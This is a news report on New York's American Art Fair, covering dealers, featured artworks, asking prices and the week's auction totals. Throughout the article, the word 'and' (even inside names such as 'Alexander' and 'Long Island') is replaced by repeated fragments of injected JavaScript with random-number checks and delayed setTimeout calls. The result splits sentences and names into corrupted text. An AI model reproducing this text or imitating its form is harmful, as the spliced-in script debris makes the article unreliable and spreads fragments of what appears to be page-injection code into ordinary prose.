By: Laura Beach, Photos by David S. Smith

 NEW YORK CITY — Intimate, lovely andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and made for contemplation, the evanescent American Art Fair springs up each year on the eve of New York’s big-ticket American art auctions like a wildflower on the forest floor, the headline-making apparatus of the auction houses looming overhead. The canny organizers of the fair, co-founded andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and co-owned by dealers Thomas Colville andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Acevedo andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and directed by Catherine Sweeney Singer, operate the event almost as a pop-up show, keeping it open just long enough to catch buyers as they come andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and go from the sales.

The fair’s opening night party, always the Sunday after Thanksgiving, is one of the event’s most successful features. Defying the hazards of holiday travel, hundreds of private andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and institutional collectors journeyed from points distant to attend the December 1 gala at Bohemian National Hall. A block andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a half from Sotheby’s on the city’s Upper East Side, the quirky facility accommodates 17 of the field’s top specialists in pre-contemporary American paintings, drawings, sculpture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a smattering of decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and design.

“The show continues to grow. We had a record number of people on opening night, up to 600 from 450 last year,” Colville said following the show’s close. After previewing New York’s shows andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sales, some art advisors traveled on to Art Basel Miami, which opened three days later on December 4.

Digital communications have yielded many benefits, from enabling research to facilitating sales. But the net has also fueled globalism at the expense of the nationalism andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and regionalism that is central to market historical American art. To organizers’ consternation, the American Art Fair attracts a fraction of the 75,000 or so visitors said to flock to the international colossus in Florida, prompting some exhibitors to ask if the American art sales should be rescheduled to before Thanksgiving.

“It is something that we would welcome if given sufficient notice,” said Colville, who sold paintings by Edward Potthast, Everett Shinn, William Lamb Picknell andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Colin Campbell Cooper andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sculpture by Jacob Epstein.

“We sold paintings by Edward W. Redfield andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and John Frederick Peto,” said Avery Galleries principal Richard Rossello. With showrooms in Pennsylvania andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and New York, Avery offered Thomas Wilmer Dewing’s “The Mask,” an oil on panel of 1902. Priced at $875,000, the profile portrait of a seated woman holding a Venetian mask resurfaced recently in a Michigan collection. “It’s an amazing new masterpiece,” said Rossello, whose display included the Dewing pastel “Seated Lady in a Yellow Dress” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Lydia in Green,” an oil on panel.

Fourteen Dewing pastels dominated an entire wall at Adelson Galleries. “They are for sale as a group. I do not want to break them up,” said Warren Adelson, noting that the group had been gathered over time by a collector.

Debra Force parted with a painting by Karl Buehr andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a watercolor by Alfred Jacob Miller. Another work went out on approval to a museum andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a fourth was on hold for a collector. Stars in the New York dealer’s booth included “Pine Trees andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Oriental Poppies,” a vivid Burchfield watercolor, charcoal andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and pastel on paper, $1.25 million; “The Noble Experiment,” a 1929 oil on canvas by George Luks, $2.5 million; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Marsden Hartley’s 1936 “Braided Rope andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Shells,” $1.2 million.

Questroyal’s sales included “Early Snow” by John Leslie Breck. Also much admired was John Singer Sargent’s watercolor on paper “Zattere, Spirito Santo andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Scuola.”

“Gloucester is where his career started. It is notable that in Gloucester he painted houses, their shadows andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and perspective, not its beaches or people,” said Katherine W. Baumgartner, managing director at Godel & Co., recommending Edward Hopper’s “Gloucester Houses” of 1926 or 1928.

Hirschl & Adler Galleries arranged “Summer,” William Glackens’ sun-splashed view of Bellport, Long Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, alongside Jane Peterson’s “Luna Park,” a 1918 gouache on paper that will be part of the traveling exhibition “Coney Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and: Visions of an American Dreamlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and” in 2015.

Showstoppers at Boos Gallery included George L.K. Morris’s 1944 “Precision Bombing,” $140,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “The Lovers,” $1.3 million, a gouache on paper from 1946 by Jacob Lawrence. “Lawrence is one of the great Twentieth Century Modern painters, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and this is as good as it gets,” said Jonathan Boos.

“We brought a short history of American painting from the mid-Nineteenth through the Twentieth Century,” said Susan Menconi of Menconi & Schoelkopf, recommending “Third Paragraph” by the American Surrealist Kay Sage. “The show is going very well. We have sold three pictures, among them an Avery watercolor. All went to private collectors.”

Conner Rosenkranz paired neoclassical sculpture with Modernist metalwork by Samuel Yellin andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Hunt Diederich andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Rose Valley furniture. A unique Rose Valley couch of 1905 was $125,000.

“We are selling this on behalf of the Manship family,” dealer Joel Rosenkranz said of “Leda,” $1.5 million, a 68-inch-tall marble from 1961 by Paul Manship. By Hiram Powers, “Proserpine,” a two-third life-size marble bust of 1848-49, was $195,000. Powers’ one-half life-size bust of “The Greek Slave,” circa 1849, was $95,000.

Occupying a spot on the mezzanine, Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Gallery featured one of the fair’s earliest paintings, Gilbert Stuart’s 1785 portrait of Lieutenant General Henry Richmond Gale (1760–1814), andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one of its most spectacular, Thomas Cole’s “The Voyage of Life: Manhood,” $2.5 million, a 25½-by-39-inch oil on canvas, circa 1840. Other versions of the Cole work are in the collections of the Munson Williams Proctor Art Institute andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the National Gallery of Art.

New to the fair, Maine dealer Tom Veilleux, filling a spot vacated by Gavin Spanierman, unveiled an important carved wood bust of a woman, $959,000, by Elie Nadelman. “It dates to 1912, the same year that Brancusi sculpted ‘Mademoiselle Pogany,’” said Veilleux. “The Hirshhorn Museum owns a related Nadelman sculpture, in bronze.”

Not including the results of the American Art Fair, combined sales at New York’s four participating auction houses exceeded $168 million during American Art Week in New York. Five paintings by Norman Rockwell andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one by Edward Hopper accounted for $101 million, or 60 percent, of the take.

“The market is very strong right now. I would say that it has come back a long way, almost to 2007 levels. In the American paintings field as in any other, there are trophy works like those we saw in this last round of sales,” said Colville.

For additional information, www.theamericanartfair.com or 212-987-5306.